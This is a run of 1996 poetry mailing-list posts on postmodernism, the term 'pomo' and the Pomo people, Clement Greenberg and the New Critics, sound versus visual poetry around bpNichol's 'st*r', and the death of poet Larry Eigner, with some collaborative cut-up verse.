> *Do you mean "not fine for the ears" or "not for the ears at all"? If the latter, I don't go along with your premise. The ear is always just as involved in language as the eye is. Only the proportions shift--i.e., some poems appeal more to the "outer" eye and the "inner" ear, some to the "mind's" eye and the "real" ear. But a glance through Kostelanetz' anthology _Text-Sound Texts_ will show that a sound poem (one that ostensibly exists only as sound) can indeed be effectively presented as--a visual or concrete poem (one that ostensibly only exists as visual sign). These are just two poles of the same magnet. Without *both* poles, you'd have no magnet and *no* poles.*
>
> *E.E. Cummings' grasshopper poem has been cited as being a poem that cannot be spoken, but in my experience reading it, the ear does struggle to pronounce the words with their jumbled-up letters.*
>
> *Written language may no longer have to echo the spoken, but that doesn't mean there's no connection at all between them.*
>
> *Of course, some poems seem to present themselves more engagingly in media in which sound is foregrounded, while others seem to do so in media which foreground sight. But I wonder if this phenomenon isn't terribly subjective and individual.*
>
> *Can anyone think onf any other examples we could talk about?*
>
> *Steve*

↑ Index

105. **Charles Smith**
Re: Pomo
Sat 3 Feb 1996

Jaime de Angula & his wife did some work with Pomo texst for UC that are worth looking at. As are the exquisite baskets the Pomo produce.

↑ Index

106. **Ron Silliman**
Re: Pomo
Sat 3 Feb 1996

I'm curious about the assumption behind Mark Nowak's no-doubt well-intended comments about pomo and Pomo. Where precisely is it written that homophones shall only have one denotation? Can you can the can-can on such grounds?

The term pomo has been used for so long (popularized first I do believe by Greg Tate in VLS in the late 80s) that there's been a comedy team in San Francisco for several years that calls itself Pomo Afro Homo.

Ron Silliman

↑ Index

107. **Stephen Galen Cope**
Re: poetics of the quotidian
Sat 3 Feb 1996

Robert Grenier would certainly seem quotidian...

↑ Index

108. **William R Howe**
pomo-ra-ma
Sat 3 Feb 1996

---

hear hear to ron to limit our vocabs in order to re-strict meaning to only certain pre-scribed notions about what or how words mean is silly and an long term effort to systematically erradicate the use of a word because it might be offensive or derogatory or oppressive would in the end leave us with very few words i admit that a word may be damaging culturally but there is no way to get around that language is opressive the way in which we use language is opressive the way in which language means is opressive so singling out pet peeves tolambast seems to me a mis-guided attempt at a linguistic re-education that is doomed to failure

wrh

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109. Chris Stroffolino
Re: Challenges, Chris
Sat 3 Feb 1996

Hey Joshua, what bookstore in Phila. would you find POETICS JOURNAL used in?
Chris
P.S. What do you think about this POMO thread?
I'm waiting for John Shoptaw to come on and coin the term
POMOTEXTUAL.....
(backwards it's OM Op and so if we want to DEPOMO ourselves
we have to put OM on the OP ED page....

↑ Index

110. Gwyn McVay
Re: pomo-ra-ma
Sat 3 Feb 1996

It would seem that, if you just said "poetry by people of the Pomo Nation" or "Pomo Indian poetry" or whatever when that was what you meant, nobody would assume that you were talking about some engagingly engage' tribe on the West Coast with hip dark shades and Brion Gysin cut-up scissors.

Meanwhile, I'm for letting Pomo Afro Homo keep their name.

Gwyn McVay

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111. Ron Silliman
Greenberg (long)
Sat 3 Feb 1996

Dear Chris,
>
> Dear Ron---could you please elaborate on your sense of the
> New Critics' appropriation of CLEMENT GREENBERG?
> It makes sense, but WHEN did it happen? (late 40's?)
> Any specific essays by N.C.'s you might suggest on this...
> I want something more than speculation...
> It would really put O'Hara's quasi-polemical writings against
> Greenberg in a different light.....

> thanks, chris.
>

Greenberg is a writer whose work needs always to be contextualized, since its stance shifted steadily throughout his career. When he wrote "Art and Kitsch" in 1939, the essay that did more than any other to popularize a conception of aesthetic modernism (tho it never uses that term), it was part of a consciously Trotskyist intervention: in recognizing the Nazi's sentimentalization of aesthetics, he saw its spread throughout western culture--which today we might recognize really as the spread of a popular culture driven by capital--as a sign of protofascism everywhere. (This theme is repeated, this time as farce, regularly by the critics of the New Criterion, who instead see pop culture as evidence of the mongrelization of west civ by all of us unwashed types who got through college on foodstamps.) Part of what made Greenberg's coining of that term so successful was its adoption by the New Critical professors.

Although he never became the full-bore neocon that many 1930s trots did by the 1950s and 60s, Greenberg did move steadily to the right. His essays typically appeared in Partisan Review, although they also appeared in other publications that made the same rightward shift over time, such as Commentary. Partisan is a particularly interesting case in that it was not an academic journal in the same sense as Kenyon, Southern or Sewanee reviews. Remember that the New Critics grew out of the agrarian movement of the Fugitives, and had already settled into a politically conservative mode. Alan Golding details (as have many other commentators) the long march to the right of PR as well as noting its impact culturally: it had 6,000 readers in 1946, 10,000 in 1950. Even in its earliest days, PR championed the high art of Eliot (which is to say, a particular high art) and, to quote Golding verbatim, "Beyond Berryman..., poets who can fairly be associated with _Partisan_ in the years 1946-55 Shapiro, Wilbur, Bishop, Roethke, Snodgrass, and Hoffman--none of whom would be out of place in the more overly New Critical Journals." These are precisely the "professional" avant-gardists that Greenberg seems to be referring to in the 1948 quote Steve Evans posted earlier. [I can't praise Golding's book too highly on this subject, by the way--the chapter on the NC is by far the best short history of the institutional politics of New Criticism we have ever had.]

Consider Greenberg's essays in _Art and Culture_. His key selection of pieces, it begins with "Art and Kitsch" and ends with four essays on writing, two of them concerning the poets Eliot and Brecht. The piece on Eliot was originally written in 1950, relatively late (and at a point when the NC seizure of English Departments was nearly at its height). In the piece on Eliot, ostensibly a review of the Selected Essays, Greenberg contrasts Eliot and Pound as critics in these terms:

> but if Eliot alone fulfilled himself as a critic, it was
> because his sense of relevance was infinitely more constant,
> more "scientific."

Similarly, a page later, Helen Gardner's book on Eliot is described thusly:

> Miss Gardner reads closely and well, and with one
> notable exception, extracts no more from what she
> reads than she can vouch for in her _experience_
> of what she reads.

Such passages are little anthologies of NC buzzwords. That Greenberg (who here is attacking the slackness of the Four Quartests, one point on which he and I do agree) is not simply couching a provocative argument in a honey-coated language for a particular audience (sort of a Charles Bernstein avant la lettre) can be deduced from this passage on the very next page.

> Perhaps the deepest source of Eliot's recent failures was already to be detected in his earlier, and earliest, successes. His montage sequences, with their abrupt shifts of focus, are important gains for the art of verse [Greenberg here obviously does not know, as we now do, that these were Pound's contribution], but they also compensate for an inability to advance an action or a feeling through what I would call incremental transitions. This is not an inability peculiar to Eliot among the leaders of modernism in his generation. Yeats does not suffer from it, but writers like Pound, Wyndham Lewis and William Carlos Williams do-- and do so almost pathologically. Whether in verse or prose, Pound proceeds--if he proceeds at all--by fits and starts; the increasing reliance of his verse on present-participular constructions betrays what is really a kind of inertia of imagination; his best original poetry, like his best criticism, has never been sustained enough to amount to more than passages. Nor can Williams, who seems equally incapable of traveling with consecutiveness in a fixed direction, claim more than a few completely fulfilled poems.

It goes on like this for a few more pages. This is shrill stuff. Right up there with anything that was ever done to the langpo writers. Greenberg's essay closes with a classically New Critical flourish:

> The so-called obscurity of modernist literature has, of course, a lot to do with the new stress on exegisis.... (S)uccessful art can be depended upon to explain itself....

He ends by wishing that Eliot the poet listened more to Eliot the critic. In all, a totally political piece of writing: attempting first to separate out Eliot from imprisoned fascist Pound and the marginalized Williams, then to separate out

Eliot the critic from Eliot the poet (while still trying to maintain credibility by admitting that the Four Quartets are basically snoozers.)

(The Brecht piece, published in 1944, is also worth reading, since Brecht after all totally violates the terms set forward in "Art and Kitsch" and Greenberg likes Brecht, or at least the pre-Communist Party Brecht. He explains this by identifying BB as a parodist, which means that his use of low culture is a means of turning fascism against itself. You gotta love the circularity.)

In his essays "'American-Type' Painting," the 1955 classic that declares abstract expressionism triumphant over all other forms of painting, and painting triumphant over all other forms of modernist art, Greenberg follows yet another standard New Critical move in his discussion of Whitman, used here to put Clyfford Still in his place:

> Still's uncompromising art has its own kind of affinity with popular or bad taste. It is the first body of painting I know that asks to be called Whitmanesque in the worst as well as the best sense, indulging as it does in loose and sweeping gestures, and defying certain conventions (like light and dark) in the same _gauche_ way that Whitman defied meter. And just as Whitman's verse assimilated to itself quantities of stale journalistic and oratorical prose, Still's painting....

Elsewhere in the book, Greenberg uses terms like "monotonous" and "antiaesthetic" to describe the work of Pound, Stein and Joyce. In short, Greenberg used the NCs just as they used him and if the political gap between them in the late 1930s was great, by 1950 it was hardly noticeable. That Williams bashing above, by the way, does not even warrant a mention of WCW in the book's index.

Today, almost half a century later, Greenberg seems to be an instance of the same sort of schizophrenia we see in a mag like The Nation (another of his main venues), the closest thing we have to an official paper of record for the American left with openly reactionary literary aesthetics.

Rather than responding as some of the marxian critics have by reading Greenberg as a mechanism in "how NYC stole modern art," it would be far more interesting to ask ourselves what abstract expressionism would be if it had not had his contextualizing framework from day one. I suspect that it would look very different.

By the way, Chris, I do hope that your spelling of the verb in "I break for hallucinations" was intentional.

All best,

Ron Silliman

↑ Index

112. Thomas Bell
Re: Marchand Du Sel & Rose Selavy
Sun 4 Feb 1996

I made a Donner pass but we lost our momentum
> to trim xray architecture shirts slowly over the wellspring dovetailed
> > > >>
> > > >> for angels from aching or is it mapped
> > > >>
> > > >> participle laredo allows hoodlum rainbow and flip salubrious
> > > >>
> > > >> whimpering foraged aura container dangling over a set slowly better
> > > >>
> > > >> delfin forging better yet 'e' over hailwater architecture
> > > >>
> of that stature dwarfs pink elephants and alphabet soup
> crackers and coconuts, horsefeather moustachio
>

↑ Index

113. Joshua N Schuster
Re: Challenges, Chris
Sun 4 Feb 1996

Chris Stroffolino wrote:
>
> Hey Joshua, what bookstore in Phila. would you find POETICS JOURNAL
> used in?
> Chris

Was a surprise find lodged in the used bank of blanks, "Book Trader". Actually they've got an extensive stock of 30th gen. Nortonites, a few of whom I've seen on the CAP-L list. My patronizing's at "House of Our Own", only new/used place left for the left.

> *P.S. What do you think about this POMO thread?*
> *I'm waiting for John Shoptaw to come on and coin the term*
> *POMOTEXTUAL.....*
> *(backwards it's OM Op and so if we want to DEPOMO ourselves*
> *we have to put OM on the OP ED page....*

Seems like another promo in slomo. Anything hyphenated with "textual" seems ripe for theoretical/theatrical status. Slomo-textual? Chromo-textual, Nomo-textual....

writing in weather degree zero (well, almost),
temperature-textual,
joshua

↑ Index

114. Rod Smith
Re: challenges
Sun 4 Feb 1996

Steve or,
Who do you suppose Greenberg was referring to as an avant-garde writer circa '48 receiving all that institutional support? Hemingway? Eliot? Bowles?

--Rod

↑ Index

115. Henry Gould
challenges
Sun 4 Feb 1996

People shouldn't be dissuaded from reading the Blasing bk on the basis of the 4 poets she covers. Some people seem to have some kind of ESP: simply list some names and they will get the gist of the book right away and come up with a much longer list of writers who should have been included. I've probably misread & misrepresented the thing anyway. Her 4 poets are not a "canon"; her bk is not a "magisterial" historical survey; she has a very specific argument to make, and it's not a simple anti-langpo diatribe, she critiques "New Formalism" on the same lines. Suffer with me while I try to restate what I see as this argument very briefly: Pound, and Olson after him in particular, have had a very strong influence on post-WWII American poetry; it's an approach to making poetry which carries certain assumptions about art which havebecome rote - blinders - for succeeding generations of poets. Some poets, on the other hand, resist, qualify, or ironize these assumptions, and these poets (using 4 as examples, not exemplars or icons) can properly be called postmoderns. What are these assumptions? That technical innovation is inherently politically progressive/correct (i.e. free verse is liberating - an early example); that there are techniques which blow away the conventional mists of rhetoric & reveal truth (i.e. the Chinese ideogram, or Olson's "process"). Blasing's postmodernists resist the simple identification of style & politics, technique and artistic progress; and she cites specific statements made by each of them, in essays or

interviews, which support the idea that there was some conscious differentiation going on (citing them along with interpreting specific poems). Ron Silliman, if I understood his response to this correctly, acknowledged that the Language poets, among others, do carry on the Pound/Olson "modernizing project" to some degree; and then he made a specifically political analysis of this, linking Blasing's kind of argument (divide and conquer?) with reactionary attacks in the 50s (C. Greenberg). This I suppose implies Blasing is one of the "bad guys"; but she's writing literary history: in which context, it's ultimately irrelevant whether Poundian modernism's aesthetic choices are good are bad. The question is, were there some poets who went in a different direction, and questioned these assumptions? If so, shouldn't THEY be called the POSTmoderns, and not those "avant-garders" who carry on MODernism?

It's easy to make fun of these kinds of "academic" issues; it's easy also for poets to rail against the power of critics, and raise the banners of the poor uncanonized multitudes out there. But maybe more talented poets might get read and heard if they themselves didn't rehash and repeat the hackneyed & half-baked critical jargons that pass for "movements", "techniques", etc. - Henry Gould

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116. ryan johnson
Re: Marchand Du Sel & Rose Selavy
Sun 4 Feb 1996

On Sat, 3 Feb 1996, Gabrielle Welford wrote:

> > > (by cris cheek,tom bell, maria damon, jordan davis, jorge
> > > guitart, lisa samuels, & gabrielle wellford)
> > >
> > > > >> to trim xray architecture shirts slowly over the wellspring dovetailed
> > > > >>
> > > > >> for angels from aching or is it mapped
> > > > >>
> > > > >> participle laredo allows hoodlum rainbow and flip salubrious
> > > > >>
> > > > >> whimpering foraged aura container dangling over a set slowly better
> > > > >>
> > > > >> delfin forging better yet 'e' over hailwater architecture
> > > > >>
> > of that stature dwarfs pink elephants and alphabet soup

> >
> sloppy fingers meet fade boast apart from sally
forth or forward in key is it two keys cleft if you
all are anything like the syntagm inverted then

↑ Index

117. Aldon L. Nielsen
Re: beatless
Sun 4 Feb 1996

could whoever posted the address of the BEAT list post it again, please -- I need to post my pleas for a Ray Bremser address there--

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118. Steve Carll
Re: Moving Lips:The internalisation of print media
Sun 4 Feb 1996

Peter will get two of these, since my first reply accidentally went to him and not the list:
At 05:55 PM 2/3/96 -0500, you wrote:
>How would one read bpNichol's one word poem:
>
>
>
> st*r
>
>
>
>for the ears?
>
>
>-Peter Jaeger

Don't you hear *anything* in your head when you look at it on the page, Peter? The consonant cluster "st" evokes a sound, doesn't it? Likewise with the "r". The fact that there's an asterisk rather than the expected vowel doesn't change the fact that it's pronounceable (ancient Hebrew has no vowels either), although it does problematize it. There may not be an exact equivalent in sound to what Nichol's trying to get at on the page, but I can think of at least 6 ways of reading this aloud off the top of my head, and were I to perform this poem I might do all 6 of them in sequence to try to compensate for the lack of a single sonic equivalent. Whether I'd succeed in that gets back to the matters of taste I

was talking about, but it doesn't change my mind re: locking language up into any single sense-organ. I don't think it happens that way.

Steve

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119. Steve Carll
Re: challenges
Sun 4 Feb 1996

At 01:45 AM 2/4/96 EST, Henry Gould wrote (I've abridged):
>...Pound, and Olson after him in
>particular, have had a very strong influence on post-WWII American poetry;
>it's an approach to making poetry which carries certain assumptions about
>art which have become rote - blinders - for succeeding generations of poets...
>What are these assumptions? That technical
>innovation is inherently politically progressive/correct (i.e. free verse
>is liberating - an early example); that there are techniques which
>blow away the conventional mists of rhetoric & reveal truth (i.e.
>the Chinese ideogram, or Olson's "process")...
>Blasing's postmodernists resist the simple identification of style &
>politics, technique and artistic progress...
> The question is,
>were there some poets who went in a different direction, and questioned
>these assumptions? If so, shouldn't THEY be called the POSTmoderns,
>and not those "avant-garders" who carry on MODernism?

If one wanted to reduce all of modernism to these two assumptions, and claim that the "properly postmodern" would only need to question them, sure. However, I find this reduction highly suspect. I think there's more to modernism than this, and I think there's more to postmodernism than simply resisting the assumptions of modernism described here. Sorry, but I'm not buying.

Steve

↑ Index

120. Loss Glazier
Re: Moving Lips: str=Staffordshire bull terrier
Sun 4 Feb 1996

At 12:45 AM 2/4/96 -0800, you wrote:
>>How would one read bpNichol's one word poem:
>> st*r

>>for the ears?
>>Peter Jaeger
>
>Don't you hear *anything* in your head when you look at it on the page,
>Peter? The consonant cluster "st" evokes a sound, doesn't it? Likewise
>with the "r". The fact that there's an asterisk rather than the expected
>vowel doesn't change the fact that it's pronounceable (ancient Hebrew has
>Steve
Interestingly I hear many more than six possibilities. I can help but "see"
sometimes with computer glasses (I am after all reading this on a screen)
which means that st?r would be that "query" word which had six possibilities
- single character internal truncation, as they say (and is prob. closer to
the original thought) - BUT st*r (the * allowing for any number of
intervening characters) has multitudes, including:

St. Clair
St. Francis Medical Center
St. John Fisher
St. Johns River
St. Xavier
stabber
stabilizer
stabilizer bar
stabler
stacker
stadholder
stadtholder
staffer
Staffordshire bull terrier
Staffordshire terrier
stage manager
stage whisper
stager
stagger
staggerer
stagier
stainer
stair
stakeholder
staler
stalker

stammer
stammerer
stampeder
stamper
stancher
stand for
stand over
stand up for
standard error
standard-bearer
stander
standing order
standoff insulator
standpatter
Stanley E. Kramer
stapler
star
Star Chamber
star-chamber
Star-Spangled Banner
starchier
starer
starfish flower
starflower
stargazer
starker
Starr
starrier
start a fire under
starter
State Fair
statehooder
statelier
stater
states' righter
stationer
stationmaster
stator
Staudinger
stauncher
Stavanger
staying power

steadier
steal (someone's) thunder
stealer
stealthier
steam beer
steam boiler
steamer
steamfitter
steamier
steamroller
steel drummer
steel guitar
steelier
steelworker
steeper
steeplechaser
steer
steerer
steering gear
stegosaur
Steinberger
Steiner
stelar
stellar
Steller's eider
stellular
stem-winder
stenciler
stenographer
stentor
stepbrother
stepdaughter
stepfather
Stephanus Johannes Paulus Kruger
Stephen Collins Foster
Stephen Decatur
Stephen Gardiner
Stephen Harold Spender
Stephen Van Rensselaer
stepladder
stepmother
stepper

stepsister
stereoisomer
stereotyper
sterilizer
sterling silver
stern chaser
stern-wheeler
sterner
sternoclavicular
sternutator
stertor
Stettheimer
Stevens-Henager
Stewart River
stick up for
stickballer
sticker
stickhandler
stickier
sticking plaster
stickler
stiffener
stiffer
stifler
Stigler
stigmatizer
still water
still-hunter
still-water
stiller
stillier
Stillwater
stimulater
stimulator
stinger
stingier
stinging hair
stinker
stinter
stippler
stipular
stipulator

stir
stirrer
stirrup leather
stitcher
stiver
stock car
stockbreeder
stockbroker
stocker
stockholder
stockier
stockjobber
stockowner
stockpiler
stodgier
Stoker
stoker
stolider
stomacher
stomper
stonecutter
stoner
stoneroller
stonewaller
stoneworker
stonier
stooper
stop order
stoper
stopover
stopper
storekeeper
storeowner
storer
storm cellar
storm center
storm door
storm trooper
stormier
storyteller
storywriter
Stour

stouter
stover
STR
straddler
strafer
straggler
stragglier
straight from the shoulder
straight poker
straight razor
straight shooter
straight-from-the-shoulder
straightener
straighter
strainer
strainometer
Strait of Dover
stranger
strangler
straphanger
strapper
stratificational grammar
strawflower
Strayer
strayer
streaker
streakier
streamer
street fighter
street theater
streetcar
streetwalker
strengthener
stressor
stretch receptor
stretch runner
stretcher
stretcher-bearer
stretchier
stricter
strider
stridor

strikebreaker
strikeover
striker
stringer
stringier
strip miner
strip poker
striped gopher
striper
stripier
stripper
stripteaser
striver
strobilar
stroker
stroller
stronger
stroppier
struggler
strummer
strutter
stubbier
stubborner
stud poker
Studebaker
student teacher
stuffer
stuffier
stultifier
stumbler
stumper
stunner
stupefier
stupider
stupor
sturdier
stutter
stutterer
stylar
styler
stylizer
Styr

Whew ... Loss

↑ Index

121. **Joe Amato**
Re: challenges
Sun 4 Feb 1996

henry, i'm all for reading blasing's book as a contribution to intellectual history, academic or otherwise... but what i want to know is whether and how she contextualizes her own reading practices?... it's not fair for you to have to be put on the defensive about this, i know... but is it possible that you could say a few words about blasing's critical-methodological approach to the work of (what is by any account, or should be) a somewhat different if overlapping discourse community?... i'm looking for her sense of her own intellectual-institutional (again) moorings...

thanx for your response(s), in any case...

best,

joe

↑ Index

122. **Joe Amato**
Re: Pomo
Sun 4 Feb 1996

well yes, language is oppressive... but this is no reason not to try to make it less so... i didn't take mark's request as a way of attempting to legislate language, anyway... words hurt, misrepresent, etc... when you find that a term you're using derogates a particular group, why not try to alter your usage?... *voluntarily*, i mean...

e.g.: i have a problem these days with my student-writers writing "man did this" and "mankind did that"... why not try to use human, humankind, etc?... what's the harm in contributing to a linguistic-social environment in which more feel welcome, comfortable?... why *not* be attuned to the fact that a certain group may find "pomo" disturbing?... as wordsmiths we're s'posed to be good at understanding precisely the extent to which denotations and connotations can cause harm... now if one wishes to go on using "pomo" with the knowledge that doing so might exact a cultural price for some, i s'pose this comes down to how serious one views that cultural price... mebbe it would help if we heard more from a pomo native?... mebbe if a member of that

nation/people were a subscriber here and posted in saying she felt a bit hurt by this usage, mebbe then some of us would consider altering same?...

if what i'm saying strikes any of you as controversial, perhaps we need less sheer resistance here and more along the lines of that steady plying of (t)issue that we're collectively pretty good at...

joe

↑ Index

123. Jordan Davis
Re: Pomo ambiguities revealed
Sun 4 Feb 1996

---

meaning prefer Auden to Pound

meaning to use a word with two meanings one must be embarrassed

↑ Index

124. Tom Beard
*st*r-struck*
Sun 4 Feb 1996

Loss:

>Interestingly I hear many more than six possibilities. I can help but "see"
>sometimes with computer glasses (I am after all reading this on a screen)
>which means that st?r would be that "query" word which had six possibilities
>- single character internal truncation, as they say (and is prob. closer to
>the original thought) - BUT st*r (the * allowing for any number of
>intervening characters) has multitudes, including:
>St. Clair
.
.
.
>Styr

Does this mean that "*" would stand for the entire language (& beyond), thus comprising the most economically compressed poem possible? Wow.

This also brings to mind Bill Manhire's "Asterisk Machine", and the fact that many poems use an asterisk to denote breaks between stanzas/sections. Of course, its use for footnotes makes it an all-purpose signifier, a hypertext link, click here*. Not to mention the way in which it can bowdlerize words like "f*ck".

I once wrote a found poem that consisted of lines about rain, including Eliot's "a damp gust bringing rain" & Larkin's "an arror-shower somewhere becoming

rain" (I was interested in the way that the use of words like "rain" as signifiers for emotional states could be constructed, not just socially, but by very personal experiences). I used an asterisk between the two sections of the poem, and soon after writing it I remembered a line from Wellington poet Geoff Cochrane: "asterisks of rain are falling on the many old tin roofs" (approximate quote). To me this seemed to complete the poem, but of course no-one got the allusion.

This is also an example of the computer output modifying a poem. On my terminal, the asterisk is five-pointed: in other fonts, it has six points. Would bpNichol's "st*r" be read differently in each case? With a five-pointer perhaps echoing a pentacle, and the six-pointer the Star of David? Of course, a seven-pointer would have to be Australian.

T*m Be*rd

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://www.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

125. Henry Gould

challenges: re: Joe's post(long)

Sun 4 Feb 1996

Joe, I'm not sure I can answer your question - are you looking for where Blasing fits in on the poetry map (like in the chart that was in the NY Times magazine section a few months ago)? She's not so easily placeable up/down right/left. The book cites a full array of poets, critics & culture theorists. You're trying to get at her intellectual genealogy? This is her second book, her first was a medieval-like typology of 19th-20th cent. american poetry via an analysis of each poet's dominant rhetorical strategy ("American Poetry: the Rhetoric of its Forms", Yale UP, 1987). I found it fascinating & incredibly, boldly reductive. But here's a long quote from pp. 18-19 of the new book, which I think shows the essence of her critical approach:

"I would like to reapproach the political issue via De Man's idea of the "aporia" between the materiality of language and its meaning. De Man traces an irreducible divide between grammar and meaning, betyween tropes as su ch and their meanings, between words or sentences and the statements they make, between letter and the words they spell, down to the distinction between a let ter as material, blank mark and the letter as sign, a mark recognizable as a fu nction in a sign system. This gap in language - this permanent "errancy of lan guage which never reaches the mark" - what Walter Benjamin calls history,"

De M an writes. History in this sense may be understood as the political linkage be tween structure and meaning, between an "inhuman"materiality of events and the "human" history of "meaningful" events. Thus, in de Man's words, "the nonmessi anic, nonsacred, that is the POLITICAL aspect of history is the result of the P OETICAL structure of language." [caps for italics] "If we appropriate this scheme for poetry, the divide between form and cont ent becomes the condition for the functioning of poetic language. The prevaili ng dogma that the specialness of poetic language lies in the inseparability of its form and content then appears to be a historically specific ideology, a particular convention of getting from the conventionality of the signifier to intentional meanings. This is the generic convention of Romantic and modern o rganicist models of peotic language, and it has shaped readings of all kinds of poetry, at the expense of repressing historical differences. "Only by insisting on the separateness of form and content can we make hist orical distinctions between varieties of poetry. That is, if we locate the gap between form and meaning inside poetic structure, we can address the rhetorica l - that is political and historical - bridgings of this aporia. Rhetoric, the motivated troping of the literal material into the figurative superstructure, leaves this negotiation between form and meaning open to viewe - to FURTHER neg otiation. Any scheme that would repress this intentional negotiation and argue the inseparability of a poem,'s material base and its meaningful superstructur e would be a species of aestheitc ideology. "Rhetoric as a political, persuasive figuration of the material code into m eaning bears witness that meanings are not inherent int he material. If poetry has a generic and general political function, it may be to show us HOW it cons tructs itsel;f as a discourse that in turn constructs a meaningful world, natur e, and self. Thus poetry always has a sociopolitical valence, because it foreg rounds the distance between its structure - the generic, linguistic, and repres entational codes that govern its substitutions - and its meaning. Poetry is no more reducible to any given set of formal practices than to meanings; it names the distance between the two. It is the text of the historically and metaphys ically unstable rhetoric that persuades the trope, letter, or form to mean. An y naturalization of the code as inherently meaningful fits the material fact in to an already meaningful whole of some purposive, progressive history. "From this perspective, any claims for the inherent value of any given form must be veiwed with suspicion. ...If both open and closed forms are netural co nventions, poetry's underlining its constructedness - the implicit, generic persuasions of its forms and conventions, including the criteria that distingui sh poetiuc discourse from others at a given instance and mark it AS a separate discourse - may well constitute its usefulness. That is, the more nonutilitari an and special poetic language sounds, the more it represents itself as convent ion-bound and emphasizes its

own figuration, the more it fulfills its unique an d generic, inherently critical function."

End of quote. One can see clearly how distanced this is from Pound's ideogram claims, Olsons form = content manifestos, the New Formalists organic claims for the pentameter, etc. To me it reads very Dantesque & medieval: the convention ality of letters is the source of rhetorical freedom & the visionary, political formulations of poetic allegory. Ironically considering Blasing's diatribe aga inst language poetry, it reads almost as a language poetry manifesto, shorn of its "historically specific" political provocations (& muddles). This is why I in part I find this rather exciting & "21st century" - it offers a critical gro und for a kind of fusion or rapprochment between some very archaic & ancient co ncepts of form, genre, & motivation in poetry, with some very current, and on t he surface very different-sounding, poets. - Henry Gould

↑ Index

126. Jorge Guitart

Re: Marchand Du Sel & Rose Selavy

Sun 4 Feb 1996

> *To introduce a sense of internal shelling*
> *I made a Donner pass but we lost our momentum*
> *to trim xray architecture shirts slowly over the wellspring dovetailed*
>
> *for angels from aching or is it mapped*
>
> *participle laredo allows hoodlum rainbow and flip salubrious*
>
> *whimpering foraged aura container dangling over a set slowly better*
>
> *delfin forging better yet 'e' over hailwater architecture*
>
> *of that stature dwarfs pink elephants and alphabet soup*
> *crackers and coconuts, horsefeather moustachio*

↑ Index

127. Robert Kelly

Re: Moving Lips: str=Staffordshire bull terrier

Sun 4 Feb 1996

Isn't it agreeable that we don't have to _hear_ everything? "...the eyes' delight" might sometimes be a thrill in silence.

But thanks, Loss, for all those pronuciations of the word star. All the rays of it.

Robert

↑ Index

128. Hank Lazer
Re: Larry Eigner
Sun 4 Feb 1996

Poet Larry Eigner died last night of pneumonia and other complications. I will post additional obit/bio information in the next couple of days. Here, a few basics: born 1927, got cerebral palsy at birth, non-ambulatory, lived in Massachusetts until 1978, then Berkeley. First book published by Robert Creeley in 1953, over the past 35 years, Larry authored more than 40 books--some recent ones: _Areas/Lights/Heights: Writings 1954-1989_ (Roof, 1989); _Windows Walls Yards Ways_ (Black Sparrow, 1994). Work appeared in _Origin_, _The Black Mountain Review_, _L=A=N=G=U=A=G=E_, and in Donald Allen's _The New American Poetry_. Important to many poets, among them Denise Levertov and Robert Duncan, and a good many on this Poetics List....

from _Selected Poems_ (1971):

the knowledge of death, and now
  knowledge of the stars

    there is one end
                and the endless

 Room at the center

   passage / in no time

  a rail thickets hills grass

from _Windows Walls Yard Ways_ (1994), last poem in the book:

                September 16 92

so years been passing

  the road quiet

      still often enough

        night and then day

          light up in the sky

           behind a towering tree

                shadowed dense

↑ Index

129. **Joe Amato**
Re: challenges: re: Joe's post(long)
Sun 4 Feb 1996

---

thanx much henry, very helpful in understanding blasing's orientation... i can't say (again, from the excerpt) that blasing's approach at all appeals to me... in fact it seems to me to seriously distort things by suggesting that poetic discourse finds its value in the isolation of form from content, in relying on a structural gap between meaning-as-convention/trope and meaning-as-material given... when in fact i'd argue that poetry is valuable precisely b/c it resists/explores this sort of separation---both form and content of form *matter*, however much one may collapse into the other in context... true, the assumption that materiality is ipso facto a way of transcending 'mere' rhetoric might be a problem... but clearly for olson, for example, and whatever misgivings i may have regarding his larger poetic project, this 'fact' is not assumed---he is continually invested in showing how and why materiality is a human issue... which for him opens to the question of language practices that do not posit a passive, disengaged mind...

anyway, that form and signification are intimately bound up with each other (and in clearly ideological ways) seems *not*, in fact, to have caught on in, say, most late 20th. century scientific-technical discourse (not explicitly, anyway)... which would imply that privileging a poetry that operates on such a (presumed) gap may in fact unwittingly lend political legitimacy to more restrictive and orthodox military-industrial-corporate rhetorics (!---i'm not joking)... that is, to argue that language practices are more properly/constructively political the more they revel in their own rhetorical-content limitations or biases (and the more they play down their material manifestations) may result, oddly enough, in a poetic platform that plays to the dominant discourses, b/c in these latter attention is generally paid only to surface rhetoric, convention, language as a functional-representational medium, "applied" ex post facto to knowledge production---language practice, that is, as inherently disengaged from political practice not b/c of its rhetorical reflexiveness but b/c of its ideological neutrality... i mean, reflexiveness to the nth. degree can result in a perceived absence of political value, however much one regards this as a useful "politics"...

the best way i know to highlight the inadequacy of such reductive 'logic' (and btw, i do so every semester i teach 'tech. writing') is to stress the material forms of signification, to ask repeatedly why and how form itself has been rendered neutral in this culture through the continued proliferation of forms upon forms upon forms... to see such container metaphors as metaphors, to

make their transparency apparent, is pretty easy once one takes a look at various 20th. century poetries... from another pov, to believe that political liberation is attainable through sheer alteration of form is equally wrong-headed ... in either case i'd want to ask whose interests are being served?...

it's not a far cry from a politics predicated on rhetorical innovation alone to a politics predicated on a neutral rhetoric to a politics predicated on a formal-material given... i mean to say that, for me, a desirable politics in fact requires something more than any of these orientations... but it seems to me that what's missing are some material links, and i don't just mean language... i mean thinking through the materiality of bodies, etc...

anyway, i'll chew this over some more... i'd love to hear what others think about all this...

joe

↑ Index

130. **Rod Smith**

Re: challenges

Sun 4 Feb 1996

